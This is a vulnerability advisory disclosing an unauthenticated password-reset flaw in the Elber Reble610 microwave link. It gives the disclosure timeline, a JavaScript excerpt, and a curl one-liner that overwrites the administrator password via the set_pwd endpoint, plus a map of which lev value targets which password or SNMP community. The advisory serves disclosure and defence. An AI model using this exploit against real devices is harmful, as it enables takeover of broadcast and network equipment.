Gjoko KrsticZSL-2024-5818Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Authentication Bypass
7.7 High
AI Score
Confidence
Low
Title: Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Authentication Bypass
Advisory ID: ZSL-2024-5818
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024
Summary
The REBLE610 features an accurate hardware design, absence of internal cabling and full modularity. The unit is composed by a basic chassis with 4 extractable boards which makes maintenance and critical operations, like frequency modification, easy and efficient. The modular approach has brought to the development of the digital processing module (containing modulator, demodulator and data interface) and the RF module (containing Transmitter, Receiver and channel filters). From an RF point of view, the new transmission circuitry is able to guarantee around 1 Watt with every modulation scheme, introducing, in addition, wideband precorrection (up to 1GHz depending on frequency band).
Description
The device suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device’s system security.
Vendor
Elber S.r.l. - <https://www.elber.it>
Affected Version
0.01 Revision 0
Tested On
NBFM Controller
embOS/IP
Vendor Status
[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/178138/>
[2] <https://www.exploit-db.com/exploits/52006>
Changelog
[17.04.2024] - Initial release
[22.05.2024] - Added reference [1] and [2]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Authentication Bypass
Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 0.01 Revision 0
Summary: The REBLE610 features an accurate hardware design, absence of
internal cabling and full modularity. The unit is composed by a basic
chassis with 4 extractable boards which makes maintenance and critical
operations, like frequency modification, easy and efficient. The modular
approach has brought to the development of the digital processing module
(containing modulator, demodulator and data interface) and the RF module
(containing Transmitter, Receiver and channel filters). From an RF point
of view, the new transmission circuitry is able to guarantee around 1 Watt
with every modulation scheme, introducing, in addition, wideband precorrection
(up to 1GHz depending on frequency band).
Desc: The device suffers from an authentication bypass vulnerability through
a direct and unauthorized access to the password management functionality. The
issue allows attackers to bypass authentication by manipulating the set_pwd
endpoint that enables them to overwrite the password of any user within the
system. This grants unauthorized and administrative access to protected areas
of the application compromising the device's system security.
--------------------------------------------------------------------------
/modules/pwd.html
------------------
50: function apply_pwd(level, pwd)
51: {
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},
53: function(data){
54: //$.alert({title:'Operation',text:data});
55: show_message(data);
56: }).fail(function(error){
57: show_message('Error ' + error.status, 'error');
58: });
59: }
--------------------------------------------------------------------------
Tested on: NBFM Controller
embOS/IP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5818
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5818.php
18.08.2023
--
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234
Ref (lev param):
Level 7 = SNMP Write Community (snmp_write_pwd)
Level 6 = SNMP Read Community (snmp_read_pwd)
Level 5 = Custom Password? hidden. (custom_pwd)
Level 4 = Display Password (display_pwd)?
Level 2 = Administrator Password (admin_pwd)
Level 1 = Super User Password (puser_pwd)
Level 0 = User Password (user_pwd)
</p></body></html>7.7 High
AI Score
Confidence
Low